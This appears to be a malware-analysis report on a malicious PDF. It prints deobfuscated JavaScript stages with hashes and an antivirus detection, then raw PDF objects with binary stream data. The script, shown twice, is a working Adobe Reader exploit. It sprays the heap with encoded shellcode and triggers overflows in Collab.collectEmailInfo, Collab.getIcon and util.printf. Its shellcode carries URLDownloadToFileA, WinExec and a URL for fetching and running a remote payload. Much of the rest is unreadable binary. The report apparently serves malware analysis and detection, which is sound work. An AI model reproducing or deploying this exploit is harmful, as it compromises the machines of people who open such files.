%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"	\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"E000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'e'+'v'+'a'+'l';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;
generic_stage_recovery_008.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x30D1 at offset 0x30D1 5727 bytes
SHA-256: 59b1bfdb8b517db422c0fe9953de877451a5acade8e437a2ff7b5126474cb5a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"	\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"E000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'eval';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;
generic_stage_recovery_009.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 19897 bytes
SHA-256: cb05af80d29b78ba8159df455559d18025a5da808ce7103fb59cbb7f4bb27150
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2630>>
stream
x��[]o� }ϯ�@1@�P�e�q���tw�@��L� X� %� #JTHʎ��{(' :�m) f ��X�%� �s y5�,���)���-�� ��x��Wv��>�0���tJ7k�����ӱ�w��h>���)-�&W+��M 8g M�3JJ��ψ>+�e��� ��� �� �N�~�p��j9�]��   t�ү  �U �[֚ύ U�����g���{��=�]��h:Y�v�eտ9Oora�;N'� �^��x�^�뻛� � �����{���� Ɨ� ��ٜ�WדhE%- s�������/gl<����z�1  K�
��� ��X	ih�ZQ�d�(�:�A  �"a��=�d� OY5� 	�2NVՆRUU  $��F�b�*Z�XrJ4�Ɋ��-�
%��Մ>sa�i���L���F��;bĪ�XJ���a��� .� `��`L_-�� 
**��RU�JK������ dq��ӽ�� )\Ĥ�#T�
 �lN�j���Tt���$��T
?���� 8��bM�lL�}$'��V��"� ���gY �������	��J#&B ��05B����t�  j��d(�o � �]�&���1:����VȔ�( �� �� s U��& ��� $܃�W$��aSNBZ;{���6Ռ�L�4�D�ꦮ[x[*d��sU�t�YK-��
�$� �� �  "Ep����f��ZUQ+8�^38�"�a��kqO	����lJ�lx
?�8 s&S W� R.opO ���@��{��� N�F -怨8�\b�  <SjM�k� ]Sp\�k�,��T) �	` # U�6hT��6}b ~0�L ��" %wI) ��#� �1M5�e%�h����A�J   )m � (� ��r��X8 S�E^WI>��m`x��Yn�R  *�N�ZYN�F�Qe �4H��s�j��4 �V9�]H�F � �0lKZ�� O)n*��D��  ��R���5G�.�H  3XQ��u)�j�	x+0mc�m�*iB �U�ں� �i. i����Zm:��  j ]D"k�	��ER4�x0 �]`>�(M^�@��Z
 '�n�jN����} 	��W�g {x   r�e�� oX��H| �v�g�b&?�/ԏ�>�'92H8������D�� H �+/� � U� X�X�º<6�� �	��\��%� ��s �8 �<)�L��}d�� �7������ 1���g� UK ����3 �t�_��� ��h� �w�
  �D�C��H�w��^ 6�Wh���
�  }x�U��XW�VI �˲�� Jxe�"|H x�Y�ZEdc��i�w�X "{_] 4��I�� c�+�	�f��ڨN�@�t����� ��2A��Y� i�W���e#��S8�%@Ƞ,V��� -d
  j� bg�� cu�����= QK�ͅ�[n �H
N �����+~ ���� �4�a���� [�t�W ��$Db  H���k�Yh 4���_�!y��)Y��W(�1�O��q  (��� /cB��+Vj	  |ߋ�p�?9�A%2�9 ~rD�H�� {�Ws�N� �J��� ݉���
� �zH����� 	5l5� �()��z � � �Bq �<�]	;�P<���D	� �H9��A�vV� � ޢS"�m�݋ ;o�:�,���3 ��6e�z��B U�  bU��mHӽb&�   P�u�:�]/W� �0�9� � p�0    �H_���4) ��H��y�v�+/<� �Ҧ�&α ���x���?�5jbY��o�� ���ޫjj� �uMwA3�+Z m���꽵��b� {  �r�$ip��І!��&�?   w���#� � �w2���C�b��k� �u�5s{�[f��T% �d��B�?�7�'MTҰݱ�� �H1tt %� ���h���HD���
~��:�+֎i���ue @h�}_/S�By 5֫T�+"��h�r����9=�Kv[<@j�X%��6���������	:���ul��% 25w;b� �ow�O �t�W/�ɭ� �ź� �  9��x��m�L"��o�� � � c� �.  n)�  \�m^ =� �-  �PH x�� � � }�� ���6\c �w�ڐu�ܫ%�"U�Ӎ �
_,ِ���,hv��nF ����)�  �o e�U�K�~� %s&���^e�ӭ �|�|h��|mO�@�Bcһ�~b)G Z�"�Ml�  T �q���9) ]���^�O�W��� �� H��
F y n�m� �<��U�<�y%��W  v�� Xkv=��<��r��{�G ���l��^ đ������r e e��!�J� � �]���p7��qB� �q]qc��Յ�ǫf�]��� e\?	  �� �jt��#��  �* N(�L �~�Y6X�]?�$LsW�'�[ ���~��1͜22�| � ^ p��^vލ[D��e�*�D�0������l
��� )�F��W5c+wöy 	 �u���۷��H,�� �p����epSc�;�� pDH��u��L ]}G&� ����� b�� I��ۀ|� � Ʉ4�� �X* -�� �G�O�ޥ�㢈tȽ�ȫG�- �� w
t8nr�� 2	0* �5� �i�t@)!=��=C��v��j��� �1�i6 i��2�� �~�i䠧 �=}�b�*��^ų� {�n�q��. g�K,o�Hޑ��딡[?g� �I�aO� sF  �|��k~=!�F=�����߶p� �xzL=�l� � OdϮ'��� ٻ��y� ���I�D$'��#/�,��#]zf� ����� ek
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2507>>
stream
x��[[o� ~ϯ8@1@�P�e�q���t�]`�ݙ-�� J�%� ��� ���G%i�X��d�i1pƖi�ܿs���Œv4� �_ � 9^?�U\|wC ����d:��5�������2�FI2��W�ɔ W�� ]�& �Y&�録�>�#�O�~y��<�qz��;�b�t�) �$W��쒮g�����~��PN�E�Xk?5F��O��͏���}��~�} � �N����2�O��R�������v � �� ���y~q��� �V�Qӭ�!��#� �lN˫�I��� �����gI_��   �{x�Rz2���[C'����P�u�
�T��,��R M�d��ɡ�� %�/����
� 3 �/]IuS�-9&����9��I�*�9)&��Zꪦ{�Zj���FVd ��0IY)*N%�6�S�s�R ��	}/�i�c��-��Nt�* �uQ`}͝kcr> �<m��׍�-՞p�J>��
_�{|RyKkmr*d �+�S+jO* �Z8;r�n��Ք6B:�4�\pG[�3�t�w � ̀ 
Q8!yL �  H� �Ғ��}ɴ ��7䕕P�  )^0lj� ���Zؚ��T ��$�'o* ���k�;����� J��ְ H� �
'�ZKf�P� ��$���~ � 
��]���p�(ol\s�����*�č��Q� %�A� ��rV�T g�+�	 ���R&s�EQ:R��Z(�� `>)U�D�n���6����ML=^�^ ���Pغ���] �������!*	�A���� �C�yg$�%�X��tc9LC���,�Xn �$��6 �)1�4��W�LMwQɸz!�'aX��i�F� ��� A�1�&��� �ą���V� jj� �
� �� �� 愾8��  �
.�x**��0|�GB�@/�pX~�y ���K��O �9ۘ  @� J�ΰ5쓥Fd��:��G�� �,sԘ �+  � � q �$�~� �Ĥ�@�� 5�� �?3�- D���X*!�� ��� Z��u9��#4  ^�{L  h�:� [�j� �d �p��z ��  h
|��j�C ��~%� .;��Z�e � �'��nD`p�{��5sg�~���@=� <�� ��5Ц �:�+�r�!� *� � � P)rJ r&ҍ�� �$� � ��� �bt  �ڦ�   �a L
�r,kr ��| *��~��E��z O��a C $�q ��X���xXi��r�� 2�UvO���Z�O(H��)* A�p �| ���G1 
_� ޏ��ׂAI`0 �LE-( g �=� - @���a �� ͹f���?f�[ �؝� ��q� ��$�BMЏ�Qq� �گ\ܞ���B  ?� �#%P*�9� �~RR� �3 c�� ��(l��eb�!�#�b��'�P�*_ �� W+ ���R��� ��2���c B�/d}�_uVz pw �5� v��a$&�A&pV�_ (�� �� "q{� �����1�:^̍F��� ��   �� tL1 �I!aX�!�=�� ���M����� ��d>H` �����Q͔/sO�ha x��Խ�{�퀎��b�  �~,��W!�v0��  /�^��j��A�� r)���iŽn�"�w �-���"W6�k`�l�5 ^ '&�A��5p�����c�gT�rB�  �� o�;�d#�P�(� �-%kρ���ΏWP�
 %�Pv  �uWq�PhTr�S�wu kdH
�׮|��;�rb� �i����ET� �L �5�g� �o�  �ly'�d�Xx�5�S$�j/ F%<�D�jSz̵ Q��:.�E�~�
G,�}˘� Y�k ��I�R� �m�@_�+Ҿ2���6� �\�4�� �T� �: �����` � �� �x��� ����o� ��;�X�� � Uvk�J�]i��r�>�W�}Ty�:އp1E�7Z��E�z�1T ޵ �o � ����b��[ ����pa�[�= SL)  I/���� �����:�   @U�ӔS�t91� ���z�j�W鏚�  W����d? Q8����Qğ� � ���� 'b �?�?�q�:����O���e�(�h��2h 짃`е�br �q��x�v ��� ��  p�� U�˱��Sc [�&�$�( $
G����׷=�8 �����p ��<u�2�%�O` �vc2�n,� �c
a 6=N�P|�A� �0�E���H ���~W  �fA�f�m}��95� ?��F!{���� ��� 8���=�} G�JȥQ�
 ��g |�  �������b��� ��p ,*�� Re�Ø�x�h�u�0�I� ��Q#��r ү�y� � �� ��H��� ~&T��>I���=@ 4�G%t��� :Z�� �	�d!<�3j����Q ��  Ő���(��ڻq�;\�
hbr �L�ݧ�y�u��������tT=/F K0�� �Q� w<����Q �8�� �Ϣ6��˓�rt� �H{2 _]rΡ�w� �)� ��HO_����6+�j:9 0�~H� B�� H鯏�<��׎�� ��������� YOy@�u/ >E����{C����# � �`�>��#�
�݈
WT��E �Pg�7{�� B�x~�:��BI�7�1�]O拗G� ?�'�O�:I&� �O�˧��S� }�ˀ��P�� _:� 
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2370>>
stream
x��[]o�6 }ϯ������j� ��c��m�@ �4�.P�h�1EjHʎ��{h'c&�m�	�A��Vd�~�{.�A2�Қ � ^w�� ���� ^��w���� ͒��n ��۫�Oצ�5  ��x�� hr����z�Lp�t� F�U��?C�������ሃ� |� n <�m
�0Ûi2���  't���  ��o嚵�cc�*�� ���9��}&�k�@�� ����2�_���R�`�A2���
��uw�����W�  ����g�l�� ��VB�x4���, Ω��d����Y�ot��	 ��� �R+= �d�ac�T��Һ�\�eU�RfD�)5Ze��ayB�q�J�Y�H�ĤX�dߍo'��N�OLт	Ӓ�7-�zM�ׂ��M�ŕc��� f��i]sC<ժ� RZ* �$��e[�|�
9�9���*� �%ê:� ��0Z3S��ڕT7u��f� �Eͩh���4�Y��Y,0Ef �� ��	���UM����2��Z�uL�G;� V �q�؄� � B�d ���7V�;VqXC ��Ts�ZJ o�E�r|� � �2�� �x�4<���Ԋ��  �!Hk ��
,�x����ηz�b94B:�4�\pG+R,�vY� R0 m5�*�e��-4�:Y	� Q � �8V S�!#�R�� z@K#�  aE���P�`T�q$�s��D������ P�R
mS�� a�ܠ�T 7�[���W�2�C�t����Pp��`��*��� F��� �ʹ]� �f� � F;�؃K �X�+��T�i�@� ��U�
 ��C�(������c�5� ���;�2��qe l�� K# G h d5��+ t�DRK�ڝF��ʒ��31b��n+lB? �
NNó�V b�3GYc� R�TB ��K �q�sc����  e g ��cX� KZ*,�J+M�#^�܇ѝ�j��� ~FFG�� )�:� � �c�@��Y-���t� �w�ō1�OY 6� �� Ŀ�{mT�&��U ��Z{�R���h)+��p~�#Kg�/"J�-��B�>x�p#� ���JQQ[@*� w+8RՂ���i.�%|f�X�
kb   �#U\: � A� �B8�@)b,0 ���=�2�9� Aᰇ��?q �$� f  �'8�� 9�5� ; G,��(�k ��q� T � ���Y/L�/�M� ��^ \�[ԉ(��  +�1���N��6͐^q㐂��9Ð� � �E���"MD L�r� ���C� �5��9��K� �	*� B�g  -:� �  �;?4� a�# �4@P�\�z[��5�� ѧ���A1� 
�笋v| J5�F��X�8@,g�/�/4�  �*�~ ��i���X� 4���7�`o <��&� ���$���`s`�0��N  C ( �*� ݠ�I�vQ� �`G_�l�\�M 0� r"o���T�j  +GX�%PUc�5HX�v�w '��]�
)� �6�� �)�kI� +N1!�xSD�����$;�1,o�/�� ;|1U�� ��hyi_q��Q ����� �
���l	���ZD�3Q{G�A9� �1�'=ژ�# P)��p�Ͱ��=hF�X ��kk�^�; �����[N� >C:a|%����� �5X�yF�0��/�{�iL� �  hT� �{�*8\  �����r� �dI(�}1� �Jm�:��i����ʈs���k� u���
uXTifg�m�
 �N��p���Y ���@��}
�l�ص����ʘ� �T½���� �����tV v A)� �L+ z�B K�R�����k t��GXkL� `>� ��&v`�6i �D~�G�G�:�0�� �w��ì5jL� ���b� ��9���nᩎ�����<e� 1M ��9
ڗ��a ���:��'zd �e�a]V�V����vjD ��r�7m7I �)8���y�3ݿ *tv@c* T'/��p�� ���>"�� C,  ޱ	;�v7aw 2  ��8 bA[K� ���������ylets�)��3R   >-S,��f��<�x� #I�?���K^ ~W����7
 I �do����m�Q�aˬ��� 9ns ��-�|@�1>A�*�S��B����Sg5L���猓,a��ؽ�U�;7�B��F 
���� �����[ �G{��� �C�p�5�� �p> ��D ����Uk�Ԋ� �Y�R� U  ��(1- TZ���{ t�kk$ �Ob k$B ��4<��g�� c*�l���n`T �ʣ?d֛bi� �Ϩ ʧ��
�l<>Qο�X����� ��w&�� &�r�`B� },��M�� � ���GXb !�;����MH� �o�Mj�:��.G8�}�p�<9�ʽ�#GMb  �J^ -@��*��  ݼ���;�� n1� j�
� �dQ�p��eH�,kr��P�� �_�%W,�t� ������y���� N�Tjv���� 8=
��O&� \==�9D� J� �9�f�x�{�q��?�xD��0 N ����q�����>�u���OI^�	�˷(
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1037>>
stream
x��V]o�6 }��8�P`{ #�;�˺v+СM l@� J�e� ��� ���0 �� �̓![&.y�9��{��� =2��s�O��S�y˧ ��p�f���2���m5�zX[ �!�'br�- fs1?�t,f�Y�" �lp�G��  �vO O̞��
 M�G߾ ��� 1�b9�� �
�~�6�_L/�����?}�� }<�} ���;#�< ��_i�T�Zmt8�� ���� ���j�����֏����J �w ��� ��R�h0�M  ��
.0��
�O��t�,� `�Hj�%�L������  ��*DY���U k�� p.-�R� �� l\��Z- Zߕ
!z٣�����Y�� � ��1 �� w  PS 02(/��Py�^� �iܠ��v� ��S��w��{��n ��
��T%���5-�� 0H���4 ��4�� ��d ��4$�oo!�R6*  ��cF>�G�����F)m5�<U�M�*&� �� |� ��� ԑ 툚2`*[ !��5V`嶃C��B� �d �ͭ��� �< �[(�9&�� �@ �^�t��:FP�r�P�LK���FX]n���U��]c�YfqM g�� ��  ��N��^�PiE��uFz�����!�0 �W���B ���p�� ���P�¨��>�S�� �4 ��7��<�LQ� и 
s �^-�#  �
[������ ��,˝V=� � \i TpL  ��I5
Y˨X��K= #% �d)K��a�- %'d�i�c����'�P*�x� ᘔ�O ˍen( l��
\v,��d�= W� H�LʄQ� �VR�ﵗ `t�H�,E  K��<�H�o�*�C e��yf� 
��������1[ԝ�� $���� �lRm ��垁�(�n� -A�ɴё��VR �
��)v��l���01�ɰV,����)���r �o� ��;��1c��c��0-�g�  R�c�]d�( �'����Q�q� ��c�8�7<3����6UE�E �*t�5u��zw\� ��sC�vu��bGL �%:ל)/����=���x��;|�������:^��l [���.��p��"_� �|z�q��� '� �� "�ǎx 
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2182>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�+�O�
(��
(��
(��
(��
